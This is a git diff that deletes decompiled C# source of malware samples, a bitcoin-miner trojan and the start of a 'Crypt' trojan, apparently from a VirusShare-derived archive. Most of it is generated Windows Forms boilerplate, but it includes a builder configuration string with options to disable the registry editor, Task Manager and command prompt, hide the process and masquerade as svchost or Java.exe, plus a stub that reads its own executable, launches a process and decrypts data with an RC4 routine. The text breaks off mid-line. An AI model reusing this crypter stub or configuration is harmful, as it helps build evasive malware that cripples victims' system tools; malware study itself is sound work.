a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/LOeaZpRhcXLrwit b/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/LOeaZpRhcXLrwit deleted file mode 100644 index 919ff350..00000000 --- a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/LOeaZpRhcXLrwit +++ /dev/null @@ -1 +0,0 @@ -BhnHPFkfgejUbiy||awgqwsFWkstDaVy||ZZoehZybGElaulc||pzjiWWxGSuOtRjv||2||svchost||YES||Java||Java.exe||DISABLE_REG||DISABLE_TSK||DISABLE_CMD||ANTIS||HIDE||0||MSG_BOX||MSG_ICO||MSG_TITLE||MSG_MESS||BIND_TRUE||BIND_RES||BIND_PASS||BIND_NAME \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/My/MyApplication.cs b/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/My/MyApplication.cs deleted file mode 100644 index fffaa217..00000000 --- a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/My/MyApplication.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Infinity.My.MyApplication -// Assembly: Infinity, Version=8.5.5.4, Culture=neutral, PublicKeyToken=null -// MVID: AC3C4CF9-EFEE-4BAC-9551-610766AD93B5 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Windows.Forms; - -namespace Infinity.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : WindowsFormsApplicationBase - { - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [STAThread] - [DebuggerHidden] - [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/My/MyComputer.cs b/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/My/MyComputer.cs deleted file mode 100644 index ecd13216..00000000 --- a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Infinity.My.MyComputer -// Assembly: Infinity, Version=8.5.5.4, Culture=neutral, PublicKeyToken=null -// MVID: AC3C4CF9-EFEE-4BAC-9551-610766AD93B5 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Infinity.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/My/MyProject.cs b/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/My/MyProject.cs deleted file mode 100644 index 3d5393dd..00000000 --- a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/My/MyProject.cs +++ /dev/null @@ -1,207 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Infinity.My.MyProject -// Assembly: Infinity, Version=8.5.5.4, Culture=neutral, PublicKeyToken=null -// MVID: AC3C4CF9-EFEE-4BAC-9551-610766AD93B5 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace Infinity.My -{ - [HideModuleName] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - public Form1 Form1 - { - get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/My/MySettings.cs b/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/My/MySettings.cs deleted file mode 100644 index 24bcf247..00000000 --- a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/My/MySettings.cs +++ /dev/null @@ -1,68 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Infinity.My.MySettings -// Assembly: Infinity, Version=8.5.5.4, Culture=neutral, PublicKeyToken=null -// MVID: AC3C4CF9-EFEE-4BAC-9551-610766AD93B5 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace Infinity.My -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - return MySettings.defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/My/MySettingsProperty.cs b/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/My/MySettingsProperty.cs deleted file mode 100644 index a3313564..00000000 --- a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/My/MySettingsProperty.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Infinity.My.MySettingsProperty -// Assembly: Infinity, Version=8.5.5.4, Culture=neutral, PublicKeyToken=null -// MVID: AC3C4CF9-EFEE-4BAC-9551-610766AD93B5 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Infinity.My -{ - [HideModuleName] - [DebuggerNonUserCode] - [StandardModule] - [CompilerGenerated] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/My/Resources/Resources.cs deleted file mode 100644 index fe5edc77..00000000 --- a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Infinity.My.Resources.Resources -// Assembly: Infinity, Version=8.5.5.4, Culture=neutral, PublicKeyToken=null -// MVID: AC3C4CF9-EFEE-4BAC-9551-610766AD93B5 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace Infinity.My.Resources -{ - [DebuggerNonUserCode] - [StandardModule] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] - [HideModuleName] - [CompilerGenerated] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) Infinity.My.Resources.Resources.resourceMan, (object) null)) - Infinity.My.Resources.Resources.resourceMan = new ResourceManager("Infinity.Resources", typeof (Infinity.My.Resources.Resources).Assembly); - return Infinity.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => Infinity.My.Resources.Resources.resourceCulture; - set => Infinity.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/Resources.resx b/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/Trojan.MSIL.BitMiner.bp.csproj b/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/Trojan.MSIL.BitMiner.bp.csproj deleted file mode 100644 index 30aae5d6..00000000 --- a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/Trojan.MSIL.BitMiner.bp.csproj +++ /dev/null @@ -1,57 +0,0 @@ - - - - - Debug - AnyCPU - {899451FB-87DA-456E-851E-7F7893A944FF} - WinExe - Infinity - 8.5.5.4 - Infinity - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/Trojan.MSIL.BitMiner.bp.sln b/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/Trojan.MSIL.BitMiner.bp.sln deleted file mode 100644 index ab6960d0..00000000 --- a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/Trojan.MSIL.BitMiner.bp.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Infinity", "Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1.csproj", "{899451FB-87DA-456E-851E-7F7893A944FF}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {899451FB-87DA-456E-851E-7F7893A944FF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {899451FB-87DA-456E-851E-7F7893A944FF}.Debug|Any CPU.Build.0 = Debug|Any CPU - {899451FB-87DA-456E-851E-7F7893A944FF}.Release|Any CPU.ActiveCfg = Release|Any CPU - {899451FB-87DA-456E-851E-7F7893A944FF}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/ZZoehZybGElaulc b/MSIL/Trojan/MSIL/B/Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1/ZZoehZybGElaulc deleted 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FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read); - this.mwilson = Strings.Space(checked ((int) FileSystem.LOF(1))); - FileSystem.FileGet(1, ref this.mwilson); - FileSystem.FileClose(1); - Process.Start(Application.StartupPath + this.TextBox1.Text); - } - - public string rc4(string message, string password) - { - int index1 = 0; - int index2 = 0; - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - int[] numArray1 = new int[257]; - int[] numArray2 = new int[257]; - int length = password.Length; - int location1 = 0; - while (location1 <= (int) byte.MaxValue) - { - char String = password.Substring(location1 % length, 1).ToCharArray()[0]; - numArray2[location1] = Strings.Asc(String); - numArray1[location1] = location1; - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - int index3 = 0; - int location2 = 0; - while (location2 <= (int) byte.MaxValue) - { - index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256; - int num = numArray1[location2]; - numArray1[location2] = numArray1[index3]; - numArray1[index3] = num; - Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); - } - location1 = 1; - while (location1 <= message.Length) - { - index1 = checked (index1 + 1) % 256; - index2 = checked (index2 + numArray1[index1]) % 256; - int num1 = numArray1[index1]; - numArray1[index1] = numArray1[index2]; - numArray1[index2] = num1; - int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256]; - int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2; - stringBuilder.Append(Strings.Chr(CharCode)); - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - string str = stringBuilder.ToString(); - stringBuilder.Length = 0; - return str; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/Form1.resx b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/My/MyApplication.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/My/MyApplication.cs deleted file mode 100644 index 4da7cc6a..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/My/MyApplication.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WindowsApplication1.My.MyApplication -// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E0421F62-5803-4AAF-A314-3F2E7ED45014 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace WindowsApplication1.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : WindowsFormsApplicationBase - { - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - [STAThread] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/My/MyComputer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/My/MyComputer.cs deleted file mode 100644 index 6ef3df89..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WindowsApplication1.My.MyComputer -// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E0421F62-5803-4AAF-A314-3F2E7ED45014 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace WindowsApplication1.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/My/MyProject.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/My/MyProject.cs deleted file mode 100644 index dced2a91..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119/My/MyProject.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: WindowsApplication1.My.MyProject -// Assembly: stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: E0421F62-5803-4AAF-A314-3F2E7ED45014 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.adf-b082ce7357282fc049f8687d917e331ad92fe980ca85c0fdb54278a0c8189119.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace WindowsApplication1.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new 